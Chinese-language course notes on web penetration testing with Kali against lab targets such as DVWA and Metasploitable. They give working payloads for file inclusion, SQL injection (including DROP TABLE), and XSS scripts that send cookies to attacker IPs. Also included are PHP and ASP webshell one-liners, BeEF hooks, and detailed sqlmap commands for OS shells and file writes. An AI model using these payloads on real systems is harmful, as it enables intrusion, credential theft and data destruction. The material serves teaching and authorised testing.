赞
踩
笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
WEB漏洞扫描工具一般只会扫描通用常见的漏洞,一些特殊目录、不严格的配置可能遗漏,此时需要手动进行漏洞挖掘,结合自动化工具的扫描结果,根据具体环境灵活验证。
漏洞存在的本质在于输入变量和命令相混淆,漏洞挖掘的原则就在于尝试所有输入变量(表单提交内容、HTTP头等所有存在变量输入的地方),逐一验证排除。
目录遍历(Directory traversal):由于目录权限限制不严格,导致攻击者通过url等参数直接访问本地WEB目录及其以外的文件。
文件包含(File include):可以包含WEB目录及其以外的文件,进一步分为本地文件(LFI)包含和远程文件包含(RFI)。
变量=页面
eg:
<url>?page=a.php
<url>?home=b.html
<url>?file=content
eg:
<url>?file=../../../../etc/passwd
<url>?page=file:///etc/passwd
<url>?home=main.cgi
<url>?page=http://10.10.11.129/attack.php
注:Metasploitable默认没有开启RFI,为实现RFI,需要修改配置文件/etc/php5/cgi/php.ini
:
allow_url_include = on
url编码
%2e%2e%2f 解码: ../
%2e%2e%5c 解码: ..\
%252e%252e%255c(多层url编码) 解码: ..\
Unicode/UTF-8编码
..%c0%af 解码: ../
..%c1%9c 解码: ..\
绕开过滤规则
htthttp://p://
/usr/share/wfuzz/wordlist/
中已集成一些典型攻击向量字典)file.txt...
file.txt<spaces>
file.txt””””
file.txt<<<>>><
通过文件上传接口,绕过过滤机制,将webshell、木马文件上传至目标系统。
如上传一句话木马:
<?php
echo shell_exec($_GET['cmd']);
?>
服务器端程序将用户输入的变量作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端服务器,不同数据库注入思路是相似的,只是语句有所不同,这里以MySQL注入为例进行介绍。
(1)检测方法
' " %
等字符,查看返回是否报错,如果报错,说明这些字符被正常解析,可能存在SQL注入漏洞1' and '1
和1' and '0
,看返回结果逻辑是否正常,以此判断是否存在注入漏洞SLEEP()
函数,通过延时响应判断是否存在注入漏洞(2)手动注入
注意:
① SQL语句注释符用#
和--
(后有空格符) 都可以,但#
在URL中会被解析成锚点,可以通过URL编码使用%23
替代解决这个问题,--
后边必须接一个空格符,所以在URL中要写成--+
,在URL中空格符都要写成+
,+
会被自动解析成空格符;
② 查询语句首先要保证语句语法正确才可以查询到我们需要的信息,否则只会报语法错误,这时需要根据报错信息或者盲猜语句结构,有时末尾加注释符不行,需要闭合引号,此时需要加上or '
或or "
。
① 普通型SQL注入(注入过程中可以通过数据显示、报错等信息回显获取所需信息)
当后台数据库把查询信息无差别回显到前端时,可以通过SELECT语句获取所需信息;
当后台可以正常返回错误信息时,可以利用几个特殊函数,通过报错信息查询所需信息。
' ORDER BY 10#
# 判断查询字段位置
' UNION SELECT 1,2,3,4,5#
# 查询当前数据库、版本、用户、数据库文件路径等系统信息,1,2,3,4,5等数字用于占位
' UNION SELECT database(),version(),user(),4,@@datadir#
# 结合AND语句,使原有查询的值为空
# 再利用联合查询语句,使得联合查询的值替代正常的变量赋值
# 利用这种方法有时可以传递HASH绕过后台登录验证
# POST提交参数中passwd=123,'202cb962ac59075b964b07152d234b70'为123的MD5
' AND 1=2 UNION SELECT 1,'202cb962ac59075b964b07152d234b70',3#
CONCAT
、CONCAT_WS()
、GROUP_CONCAT()
连接字符串,CONCAT
和CONCAT_WS()
将多个字符串通过分隔符连接成一个长字符串,GROUP_CONCAT()
将一列内容连接成一个长字符串,提高查询效率:' SELECT CONCAT(database(),version(),user(),@@datadir),null#
' SELECT CONCAT_WS(', ',database(),version(),user(),@@datadir),null#
# 其中`,`是连接字符串的分隔符
' SELECT null,GROUP_CONCAT(schema_name),null from information_schema.schemata#
EXTRACTVALUE()
、UPDATEXML()
函数,通过报错信息查询所需信息,这两个函数参数格式为EXTRACTVALUE(目标xml文档,xml路径)
、UPDATEXML(目标xml文档,xml路径,更新的内容)
,xml路径
用Xpath路径法表示,格式如 /xxx/xxx/xxx/,如果写入以~:;
等特殊符号开头的内容就肯定不是Xpath格式,此时就会报错,并且报错会返回写入的非法格式内容,而这个非法格式的报错内容就是需要查询的信息,函数的其他参数输入随意:(只要有报错信息,基于报错的方法就一定可行)1' or UPDATEXML(1,CONCAT(":",database(),user()),1)#
# SELECT语句必须用括号括起来,否则会报错,下同
1' and EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))#
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='xxx')))#
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where table_schema='xxx')))#
# GROUP_CONCAT可能拼接字符串有长度限制,这时可以使用LIKE匹配重要字符,或用NOT LIKE排除无关字符
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where column_name like '%user%' and table_schema='xxx')))#
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where column_name like '%pass%' and table_schema='xxx')))#
1' or EXTRACTVALUE(1,CONCAT(":",(SELECT GROUP_CONCAT(column_name) from information_schema.columns where column_name not like 'm%' and table_schema='xxx')))#
MySQL重要信息全部存在INFORMATION_SCHEMA
,其中最重要的三个表:SCHEMATA
、TABLES
和COLUMNS
:
SCHEMATA
记录了所有数据库的名称SCHEMA_NAME
TABLES
记录了所有数据表的名称TABLE_NAME
COLUMNS
记录了所有列的名称COLUMN_NAME
利用查询语句查看SCHEMATA、COLUMNS与TABLES中列的具体内容:
SELECT column_name FROM information_schema.columns WHERE table_name='schemata';
SELECT column_name FROM information_schema.columns WHERE table_name='tables';
SELECT column_name FROM information_schema.columns WHERE table_name='columns';
结果如下图所示:(MySQL version 5.0.51)
图1 COLUMNS&TABLES
注意在 information_schema.schemata 表中库名的列名为schema_name
,但是在 information_schema.tables 和 information_schema.columns 表中库名的列名为table_schema
,如下查询数据库名、表名、列名的语句:
' UNION SELECT DISTINCT schema_name FROM information_schema.schemata;
' UNION SELECT DISTINCT table_name FROM information_schema.tables;
' UNION SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema='schema_name';
' UNION SELECT DISTINCT column_name FROM information_schema.columns;
' UNION SELECT DISTINCT column_name FROM information_schema.columns WHERE table_schema='schema_name' AND table_name='table_name';
' UNION SELECT table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’#
' UNION SELECT group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users’#
' UNION SELECT null,group_concat(table_name,':',column_name) from information_schema.columns where table_schema='dvwa' and table_name='users’#
' UNION SELECT user,password FROM dvwa.users#
' UNION SELECT group_concat(user),group_concat(password) FROM dvwa.users#
' UNION SELECT group_concat(user,':',password) FROM dvwa.users#
LOAD_FILE()
读取文件:' UNION SELECT null, LOAD_FILE('/etc/passwd')#
INTO OUTFILE
、INTO DUMPFILE
将SELECT内容写入文件:(INTO OUTFILE
输出内容中带有换行、空格等格式,导出多行带格式数据;INTO DUMPFILE
输出内容中无格式,导出单行无格式数据)' UNION SELECT null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php"#
' UNION SELECT null, CONCAT_WS(',',user,0x3a,password) FROM users INTO OUTFILE '/tmp/a.db'#
在利用MySQL注入漏洞在目标系统上新建文件时,所有操作使用的都是mysql
账号,在/var/www
等目录下读写权限会有所限制,这样新建文件就要在mysql
所在的主目录或者/tmp
等权限不受限的目录完成,然后利用其他WEB漏洞(如文件包含漏洞)对新建的文件进行利用。
information_schema
等重要数据库,拒绝union、order by等查询语句,此时可以利用Fuzz猜测库名、表名、列名,根据返回值判断猜测是否正确 (可以利用Burp等自动化工具,结合字典进行注入判断),SQL注入没有银弹,具体环境具体分析,处理方式要灵活变通。# 猜列名 ' and <column_name> is null# # 猜当前表表名 ' and <table>.user is null# # 猜测库中其他表名 ' and (select count(*) from <table>)>0# # 猜字段内容 ' or user='admin ' or user like ' %a% # 直接更改用户名和密码 ';UPDATE users SET user='attacker' WHERE user='admin ';UPDATE users SET password='xxxxxx' WHERE user='yyyyyy # 直接插入新用户 ';INSERT INTO users ('user_id','first_name','last_name','user','password','avatar') VALUES ('1','Wang','Ha','WH','h87fcce45f6aee332deb8826e','OK');# # 删库 ';DROP TABLE users;#
② 盲注型SQL注入(不回显查询结果或报错提示等信息)
SQL盲注条件下无法基于报错判断是否存在注入漏洞,也无法通过查询结果或数据库内建的报错提示获取我们所需要的信息,此时可以基于布尔和时间进行盲注检测是否存在漏洞,同时要结合输入不同内容回显的结果灵活处理,其他注入方法和普通注入是一样的,盲注获取信息工作量一般比较大,可以使用二分法逐步缩小判断范围,提高效率。
1' and 1#
1' and 0#
' or 1#
' or 0#
' or length(database())=8#
' or substr(database(),2,1)>'m'#
' or SLEEP(5)--+
' or (SELECT * FROM (SELECT(SLEEP(20)))a)#
' or if(substr(database(),1,1)>'m',sleep(5),null)#
' or if(substr(database(),1,1)='s',sleep(5),null)#
③ 二次注入
二次注入是一种注入形式,是指第一次注入时特殊符号被转义,无法产生注入效果,但是提交的恶意数据被保存到了数据库,这样在第二次引用到数据库中的恶意数据时,就会引发二次注入,达成恶意目的。完成二次注入一般分为两个步骤:
i) 插入恶意数据: 第一次提交请求时插入恶意数据,虽然特殊字符被转义,但是数据仍然原封不动被存到数据库,数据本身包含恶意内容;
ii) 引用恶意数据: 服务器默认数据库中内容都是安全的,这样在第二次访问服务器时,服务器直接从数据库中取出了恶意数据,不加过滤地拼接到SQL语句中,致使恶意数据拼接语句生效,造成二次注入。
以 sqli-labs less-24 为例,解题思路,新建账户admin’#,然后登录admin’#账户,在重置密码界面修改密码,实际上修改的是admin账户的密码,原理如下:
修改密码的SQL语句:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这样拼接username后变为:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
最后真正执行的语句:
UPDATE users SET PASSWORD='$pass' where username='admin'
④ 宽字节注入
宽字节注入是指利用网站客户端和服务端两者在转换数据编码过程中出现的漏洞,导致危险字符转义失效,从而产生的注入问题。后台处理危险字符一般有两种方法,一是将其转义成实体,二是将其过滤掉。当后台采用的方法是用反斜杠\
将特殊字符转义成实体时,PHP客户端发送请求到MYSQL服务器交互数据,如果服务器设置的编码为GBK、GB2312等非英文编码,这些编码方案中非英文字符要用至少两个字节进行编码,而我们提交的PHP请求数据是ASCII编码 (单字节编码),这样在后台转换编码时,就有可能因为字符宽度问题“吃掉”至少一个ASCII字符,从而产生宽字节注入的问题。
以GBK编码方案 (中文为双字节编码) 为例,如果后台用\
(URL编码为%5c
) 来转义特殊字符,此时输入内容如%xx'
,后台处理时用\
将字符'
进行转义,就会拼接成%xx%5c'
,当xx范围从0x81-0xfe时,双字节%xx%5c
表示为一个汉字。如下图所示,当输入内容为%df'
时,后台转义处理后再转成GBK编码内容就变成了運'
,这样就相当于对'
的转义处理失败了,在此基础上可以进一步进行注入,思路和普通注入以及盲注是相同的。
(4)自动化工具——SQLMap
Python语言开发的SQL注入、漏洞检测工具,可以进行数据提取、访问文件系统、执行操作系统命令、访问注册表、Fuzz和字典破解等操作,可以与Burp、Metasploit等其他工具、框架结合使用,引擎强大、特性丰富,同时也支持XSS漏洞检测。
支持的数据库管理系统DBMS包括:MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB。
五种漏洞检测技术:基于布尔的盲注检测、基于时间的盲注检测、基于错误的检测、基于UNION联合查询的检测、基于堆叠查询的检测。
查询结果以及日志记录默认保存在 ~/.local/share/sqlmap/output/
目录下,每个目标以url或ip命名为单独的目录,其中 ~/.local/share/sqlmap/output/xxxxxx/session.sqlite
为当次会话的查询缓存。
注意:有时会因为网络原因导致查询结果不准确,这时我们重新查询时SQLMap会直接将缓存中的结果导出,而不会重新查询,这样会导致一直得不到正确结果,如果我们想让SQLMap重新查询则需要删除session.sqlite缓存文件。
使用方法:
① Target
sqlmap -d "mysql://user:password@10.10.11.128:3306/dvwa" --users --dbs
sqlmap -u "http://10.10.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id -a
# -u:url中必须包含需要注入的参数
sqlmap -m list.txt --current-user --current-db --is-dba --dbms=mysql
# -m:扫描url列表文件
sqlmap -r request.txt
# 读取文件指定目标,request.txt中为HTTP Request(可以使用Burp)
sqlmap -l log.txt
# 读取文件指定目标,log.txt中为代理流量log信息(可以使用Burp)
/etc/sqlmap/sqlmap.conf
:sqlmap -c sqlmap.config
# 利用config配置文件扫描目标,文件记录了sqlmap扫描的具体配置
② Request
sqlmap -u "http://10.10.11.128/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --param-del="&" -f # POST/GET方法都适用 # 前述-r和-l参数实现的POST方法指定目标也可以用-u和--data实现 # --param-del:指定变量的分隔符,默认为& sqlmap -u "http://10.10.11.128/index.php?id=1" --cookie="security=low; PHPSESSID=946e8e0f4fe70e" --level=2 --risk=2 --random-agent -f # --cookie:提供cookie信息,用于WEB身份认证 # --level:注入检测等级1-5,默认为1,当level>=2时测试cookie,当level>=3时,会测试user-agent/referer # --risk:注入危险等级1-3,默认为1,危险等级越高,攻击性越强,越容易被察觉 # --user-agent:指定User-Agent头 # --random-agent:User-Agent头取值为/usr/share/sqlmap/data/txt/user-agents.txt中的随机值 # 当level>=3时检查User-Agent中的注入点 # 当WAF/IPS/IDS过滤异常User-Agent时报错:[ERROR]the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent sqlmap -u "http://10.10.11.128/index.php?id=1" --method=GET --headers="Host: 10.10.11.128\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" # --headers:指定注入检测的Header,每个头单独一行,名称区分大小写 # --method:指定GET/POST方法
(2021.01补充)
cookie注入原理与普通注入是相同的,只不过注入时请求参数不再以get和post方法提交,而是由cookie提交,存在cookie注入必须满足以下两个条件:
request("xxx")
,未指明使用request对象的具体获取方式,也就是说此时获取的参数不仅可以用get、post方法提交,也可以用cookie提交判断是否存在cookie注入的方法可以利用Burp截断请求,将get或post方法提交的参数去掉,并移至cookie变量中,然后Forward提交请求,如果此时Response和正常使用get或post方法提交请求时的Response相同,则存在cookie注入,接下来就是利用常规注入手段进行注入了,如下例所示:
利用Burp截断正常请求:
可见正常访问采用get方法,提交的参数id=1
,现将id=1
移至cookie中然后Forward提交:
发现Response没有变化,判断存在cookie注入,接下来就可以利用sqlmap进行常规注入了,注入语句:
sqlmap -u "http://120002-gznu9cn4.wlz.com/About.asp" --cookie="id=1; ASPSESSIONIDCCASQTQD=LHBJDLADMJFGGCKPIGGBACEB; ASPSESSIONIDQCTQCSCS=EPLLKOIDHEHPIOKDFEAAIIFG" --level=2 --tables
注意:每个cookie键值之间是;
+空格
的格式,否则cookie不会正确提交参数。
sqlmap -u "http://10.10.11.128/a.php?id=1" --auth-type=Basic --auth-cred="user:pass“
# --auth-type:指定认证方式,包括basic、digest、ntlm、pki
# --auth-cred:指定认证信息
sqlmap -u "http://10.10.11.128/index.php?id=1" --proxy="http://1.2.3.4:8080" --auth-cred="user:pass"
# --proxy:指定代理服务器,提高注入检测隐蔽性
sqlmap -u "http://127.0.0.1/index.php?id=1" --ignore-proxy
# --ignore-proxy:忽略系统的代理,通常用于本地主机的扫描
# --delay:每次HTTP(S)请求之间延迟时间,浮点数,单位为秒,默认为无延迟
# --timeout:请求超时时间,浮点数,默认位30秒
# --retries:HTTP(S)连接超时重试次数,默认为3次
# --randomize:长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
sqlmap -l burp.log --scope="192\.168\.20\.(1|10|100)" --level 3 --dbs
# --scope:过滤日志内容,通过正则表达式筛选扫描对象
sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238b0b923520dcc509a7f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
# --eval:每次请求前执行指定的python代码
# 适用于每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
③ Injection
sqlmap -u "http://10.10.11.128/login.php?username=admin&password=password" -p "admin,user-agent,referer" --skip="password" --dbs
# -p:指定注入检测的参数或HTTP头
# --skip:排除指定的扫描参数
sqlmap -u "http://10.10.11.128/login.php?id=1" --dbms="mysql<5.0>" --os="windows"
#--dbms:指定DBMS(包括mysql//oracle/postgresql/microsoft sql server/microsoft access/db2/sqlite/firebird/sybase/sap maxdb),跨过DBMS探测过程,可以指定具体版本
# --os:指定操作系统
sqlmap -u "http://1.1.1.1/a.php?id=1" --tamper="between.py,randomcase.py,space2comment.py" -v 3
# --tamper:混淆脚本,用于绕过应用层过滤、IPS、WAF等安全过滤机制
# tamper脚本存在/usr/share/sqlmap/tamper目录
sqlmap -u "http://targeturl/param1/value1*/param2/value2*/"
# *:指定URI注入点
# 一些WEB Application会将变量值变为路径中的参数,看似为静态URI,实则仍为动态URI,这时需要用*指定URI路径中的注入点
④ Enumeration
# -p:指定测试参数 parameter # -b:扫描DBMS的Banner信息 # -f:扫描DBMS版本的指纹信息 fingerprint # -a:扫描所有的Enumeration信息 # --current-user:当前数据库用户 # --current-db:当前数据库 # --hostname:主机名 # --users:所有的用户 # --count:表中记录的数目 # --privileges -U username:查询用户权限,CU为当前用户 # --batch:使用默认选项扫描,不用交互选择 sqlmap -u “http://1.1.1.1/a.php?id=1” -D dvwa -T users --columns --dump # --dbs:查询数据库 # --tables:查询表 # --columns:查询列 # --exclude-sysdbs # --dump:将数据库表项存到本地,以csv格式存储在~/.sqlmap/output/1.1.1.1/dump/目录中 # -U:指定用户 # -D:指定数据库 # -T:指定表 # -C:指定列
⑤ Brute Force
当数据库账号没有权限读取information_schema时,通常使用暴力破解的方法获取数据库元数据
# --common-tables:暴力破解表名
# --common-columns:暴力破解列名
⑥ File System Access
# --file-read="/etc/passwd"
# --file-write="shell.php" --file-dest= "/tmp/shell.php":将shell.php写到目标主机的/tmp/shell.php文件
⑦ OS Access
# --os-cmd=OSCMD:执行操作系统命令OSCMD
# --os-shell:尝试建立OS shell进行交互
# --sql-shell:尝试建立SQL shell进行交互
# --os-pwn:尝试建立meterpreter或VNC shell进行交互
⑧ Windows Registory
sqlmap –u="http://1.1.1.1/index.php?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
# --reg-read:读取注册表项
# --reg-add:添加注册表项
# --reg-del:删除注册表项
# --reg-key:注册表项名称
# --reg-value:注册表键的名称
# --reg-data:注册表键值
# --reg-type:注册表项类型
⑨ General
# --charset:强制字符编码
# --flush-session:清空session内容
# --flush-queries:忽略session查询结果,重新查询
# --force-ssl:https查询
# --save:将命令保存为配置文件
⑩ Miscellaneous
# --check-waf:检测WAF/IPS/IDS
# --identity-waf:彻底的检测WAF/IPS/IDS,支持多种产品
sqlmap --wizard
# --wizard:交互式向导进行简单的注入检测
注意:保持sqlmap为最新版本,否则可能存在注入不准确情况。
由于WEB站点存在的漏洞,对用户输入处理不当,且将输入内容直接返回到前端显示或者保存到后端,使得攻击者可以将恶意代码注入至WEB站点,再由WEB站点向客户端交付恶意脚本代码,从而攻击WEB客户端,实现盗取Cookie、重定向等攻击效果。
原则上XSS攻击可以实现脚本代码能实现的所有功能,但可能受到执行权限的限制,最常见的客户端脚本语言为JavaScript,也有VBScript、ActiveX、Flash等
客户端脚本使用场景包括:
<script>alert('XSS');</script>
<body onload=confirm('XSS')>
<img src='https://img-blog.csdnimg.cn/20200418085334612.jpg'>
<img src='1' onerror=alert('XSS')>
<a href='https://www.baidu.com'>Baidu</a>
<iframe>、<div>、<link>
XSS类型包括存储型(持久型)、反射型(非持久)、DOM型,基本特点和区别如下:
① 反射型XSS
漏洞特征:服务器会将客户端提交的数据原样返回,如提交数据
<script>alert('XSS');</script>
、<img src='1' onerror=confirm('XSS')>
,如果服务器返回的页面正常弹窗,则说明服务器原样返回了用户提交的脚本代码,服务器存在XSS漏洞,攻击示意如下图所示:(一般使用社会工程学诱使客户端点击恶意链接)
图2 反射型XSS攻击过程
JS攻击脚本如:
<script>new Image().src="http://10.10.11.128/attack.php?output="+document.cookie;</script>
<!--提交页面中将恶意脚本嵌入图片标签,用户会将当前Cookie信息发给attack.php-->
<script src="http://10.10.11.129/attack.js"></script>
<!--通常情况下攻击者只会将恶意脚本的文件路径发给客户端-->
② 存储型XSS
漏洞特征:实施攻击后恶意脚本长期存储于服务器端,每次用户访问恶意脚本都会被执行。
存储型XSS与反射型XSS区别在于存储型XSS发动攻击后脚本代码就被保存到服务器端,以至于之后每次访问时都会发动攻击,不需要再诱使用户提交恶意代码,攻击思路和方法两者都是相同的。
③ DOM型XSS
DOM型XSS本质上也是一种反射型XSS,之所以单独划分是因为采用DOM文档对象模型技术,DOM是网页的编程接口,它给网页提供了一个结构化的表述,并且定义了访问网页中各种元素的API,以改变文档的结构,样式和内容。DOM模型如下图所示:
图3 DOM模型
DOM型攻击脚本如:
<script>var img=document.createElement("img");img.src="http://10.10.11.128:88/log.php?"+escape(document.cookie);</script>
① 信息劫持
最常见的XSS攻击方法,盗取登录者的Cookie、浏览器等信息,其中Cookie可用于绕过WEB登录验证,被盗取的信息一般回传给攻击者,因此需要一个服务器用来接收,这也是后续介绍的XSS工具 (平台) 的作用,例如利用BeEF工具生成盗取Cookie的恶意脚本,脚本链接为http://192.168.10.10/XSS/hack.js
,把链接植入漏洞页面即可:
<script type="text/javascript" src="http://192.168.10.10/XSS/hack.js"></script>
② 恶意跳转
劫持访问,跳转到恶意网页,如下payload:
<script>window.location.href="http://www.baidu.com";</script>
③ 网页挂马
利用存储型XSS在网页挂马,完成钓鱼攻击,一般要借助XSS工具 (平台),思路和Cookie劫持类似,只不过恶意脚本完成的是木马功能,具体不再赘述。
④ 植入信息
植入广告或垃圾信息,达到恶意传播的目的,如下payload:
<img src='https://img-blog.csdnimg.cn/20200418085334612.jpg'>
<a href="https://blog.csdn.net/Captain_RB/article/details/104931995">Baidu</a>
<iframe src="https://blog.csdn.net/Captain_RB/article/details/104931995"></iframe>
简要介绍两款经典的XSS工具:
① XSSer
Python编写的自动化XSS攻击工具,支持命令行/图形化,具有多种绕过服务器筛选机制的功能。
eg:检测目标主机是否存在XSS漏洞
xsser -u "http://10.10.11.128/dvwa/vulnerabilities/" -g "xss_r/?name=LL" --cookie="security=low; PHPSESSID=d23e4694117e7ff8210717e698521a81" -s -v --reverse-check
# -u:要检查的url
# -g:使用GET方法的注入点
# -s:统计输出检测结果
# -v:verbose输出
# --reverse-check:从目标到当前主机建立反向链接
xsser -u "http://10.10.11.128/dvwa/vulnerabilities/" -g "xss_r/?name=LL" --cookie="security=low; PHPSESSID=d23e4694117e7ff8210717e698521a81" -s -v --heuristic
# --heuristic:以此检测每个特殊符号是否被过滤
② BeEF
目前WEB Application几乎都是B/S架构,攻击浏览器用户具有普遍性,同时可以结合社会工程学方法进行攻击。BeEF是一个浏览器漏洞利用框架(Browser Exploitation Framework),分为客户端和服务器端,客户端运行浏览器中的JS脚本(hook),服务器端对hooked客户端进行管理。
攻击手段通常包括:
通过以上攻击手段使客户端浏览器运行hook的JS脚本http://<IP_BeEF_Server>:3000/hook.js
,然后用BeEF服务器端对hooked客户端进一步进行攻击。
在GitHub上下载BeEFgit clone https://github.com/beefproject/beef.git
,或者下载压缩包解压,当前BeEF版本为0.5.00,进入下载文件目录./install
一键式安装,期间可能会因为一些GEM组件报错,用bundle install
补全,然后在config.yaml
中修改默认账号和密码,最后用./beef
命令就可以正常运行了,访问http://<IP_BeEF_Server>:3000/ui/panel
进入服务端界面,如下图所示:
图4 BeEF运行界面
Details
中包括了默认已经探测的信息,Logs
中记录了目标用户的操作动作,Commands
中包含了各种攻击模块,不同颜色模块含义:(通过已探测信息进行判断,可能出现误判,需要进一步验证)
主要攻击模块包括:
eg:在存在存储型XSS漏洞的网站写入以下脚本,或者诱使用户访问挂有以下脚本的页面
<script src="http://<IP_BeEF_Server>:3000/hook.js"></script>
客户端浏览器一旦访问即中招,后续再BeEF服务器端进行进一步攻击
通过伪造合法用户身份发送恶意请求,基于服务器对请求的信任完成攻击操作,比如以合法用户的身份发送邮件、消息、购物、转账等,通常结合社会工程学,使得用户在非自愿、不知情的情况下提交请求。
CSRF只针对采用Cookie(或Cookie+Session、Cookie+Token)验证机制的网站,客户端在登录有CSRF漏洞的网站后,诱使用户在网站登录后的界面没有关闭的条件下,访问可以向漏洞网站提交表单的恶意链接,浏览器在访问网站时会自动附加Cookie等身份认证信息,存在CSRF漏洞的网站会根据认证信息判断访问者是合法用户,从而完成恶意操作。
CSRF与XSS有些相似,从信任角度考虑与XSS区分:XSS利用用户对站点的信任,CSRF利用站点对用户请求的信任。
CSRF是服务器业务层面的漏洞,服务器对关键操作缺少确认机制,自动扫描程序一般不会发现此类漏洞。
漏洞利用条件:
(1)修改请求参数验证攻击
以DVWA为实验平台,利用Burp代理,截获HTTP Request,转到Repeater
模块,修改参数重放请求,右侧可以看到返回结果,账号密码被成功修改,如下图所示:
图5 修改请求参数完成攻击
(2)伪造请求页面完成CSRF
利用Burp可以将HTTP Request生成HTML链接,右键选择Engagement tools-> Generate CSRF PoC
,配置参数后复制代码生成HTML页面文件,诱使用户访问该页面,点击提交恶意请求的按钮完成攻击,如下图所示:
图6 伪造请求页面完成攻击
本质上是在目标主机植入脚本文件,作为WebShell的服务端;客户端运行工具进行连接,拿到WebShell,对目标主机进行管理。
(1)中国菜刀
服务端在只需要简单的一行代码,客户端运行菜刀工具,实现对目标主机的管理功能。
为绕过IDS过滤,代码经过二次编码后发送。目前支持的服务端脚本包括:PHP、ASP、 ASP.NET,并且支持HTTPS安全连接的网站。
工具下载:官网 http://www.maicaidao.co/,readme
中有详细介绍。
在服务端上传脚本文件,代码如下:
<?php @eval($_POST['chopper']);?>
<%eval request("chopper")%>
<%@ Page Language="Jscript"><%eval(Request.Item["chopper"],"unsafe");%>
然后用菜刀访问目标主机中的一句话木马文件实现连接,运行界面如下图所示:
图7 中国菜刀管理界面
(2)Weevely
隐蔽的类终端PHP WebShell,用weevely生成脚本文件放在服务端目标主机,客户端运行weevely进行连接,实现对目标主机的管理功能。
weevely
# 提示基本用法
weevely generate passw0rd wee.php
# passw0rd为生成脚本文件的密码
# 生成文件默认路径为~/
# 将wee.php上传至目标主机目录/var/www路径
weevely http://10.10.11.128/dvwa passw0rd
# 连接目标主机,用交互式命令进行管理
weevely> help
# 连接后用help查看具体功能模块
# 当前有40多种功能模块,实现扫描内网、端口、文件,获取系统参数、数据库信息等操作
除了一般的管理功能,weevely还可以实现将目标计算机作为HTTP/HTTPS代理,注意weevely将目标主机代理通过隧道和本机代理8080端口相连,所以要开启本地服务器代理才能进行访问。
weevely> net_proxy
# 开启目标主机代理,默认通过隧道和本机代理8080端口相连
注意:WebShell获得的用户权限为目标主机提供WEB服务的用户,一些操作可能需要提权
具体可参见文章:
获取Webshell的常用方法(一)
获取Webshell的常用方法(二)
HTTPS即HTTP over SSL,主要解决信息传递过程中机密性、完整性、可用性问题,其攻击方法一般包括:
SSL最新版本为v3,因其存在严重的安全漏洞,早在1999年SSL v3就已被TLS取代,目前绝大多数服务器用的都是TLS协议,但基于历史和习惯的原因HTTPS、SSL/TLS等名称一直被沿用。TLS当前最新版本为v1.3,但一些服务器为保持兼容性仍支持旧版本不安全的加密协议,如SSL v3。
SSL/TLS也被用于其他场景的安全传输:邮件传输、数据库服务器之间、SSL VPN、远程桌面RDP等。
(1)加密过程
根据Wireshark抓包分析HTTPS握手过程,Wireshark默认不会解密HTTPS加密内容,所以一开始抓包内容是这样的:
图8 HTTPS加密数据
经过TLS加密的数据为Application Data,要查看解密数据,需要指定浏览器HTTPS握手通信的log文件,这样浏览器会将握手过程中涉及的密钥信息保存在该文件中,供Wireshark解密时使用。方法为在系统环境变量中添加SSLKEYLOGFILE
,新建log文件,路径随意,但是尾缀必须为log,比如设置为E:\https.log
,在Wireshark编辑->首选项->Protocols->TLS
中配置(Pre)-Master-Secret log filename
为E:\https.log
,重启浏览器(Chrome/Firefox)后抓包,内容如下图所示:
图9 HTTPS解密数据
可见原先加密的Application Data已被解密,握手协商基本流程如下图所示:(这里所抓取HTTPS包的非对称密钥算法采用DHE/ECDHE,和采用RSA的握手协商过程稍有不同)
图10 HTTPS握手过程
最开始Client与Server建立TCP三次握手连接,随后开始HTTPS握手过程:
① Client向Server发送ClientHello
包请求建立SSL/TLS连接,其中包括随机数Random_C和客户端支持的加密套件CipherSuite(密钥交换算法-签名算法-对称加密算法-摘要算法);
② Server收到SSL/TLS连接请求包后首先回复ServerHello
包,其中会选择双方都支持的加密级别最高的CipherSuite,以及生成的随机数Random_S;
③ 然后Server接连发送Certificate
、ServerKeyExchange
、ServerHelloDone
包,Certificate
主要是经过CA签名的Server公钥信息;
④ Client根据自身记录的CA证书判断Server发来的证书是否可信,如果受信则将ClientKeyExchange
、ChangeCipherSpec
、Finished
包一起用公钥加密后发送给Server,ClientKeyExchange
中包含生成的ECDHE参数Pubkey,Pubkey用于生成Premaster Key,Premaster Key和之前生成的Random_S以及Random_C一起生成对称密钥,之后通信使用对称加密算法;
⑤ Server用私钥将信息解密,同时利用相同的算法生成对称密钥,然后向Client发送ChangeCipherSpec
、Finished
包,之后通信使用对称加密算法;
⑥ Client和Server完成握手协商过程,之后采用对称加密算法进行通信。
(2)扫描工具
① OpenSSL
加密工具套件,通过调用OpenSSL库对目标服务器发起SSL/TLS连接,可用于探测HTTPS加密信息。
使用方法:openssl command [ command_opts ] [ command_args ]
具体参数用:openssl command -help
查看
openssl s_client -connect www.baidu.com:443
# 建立HTTPS连接
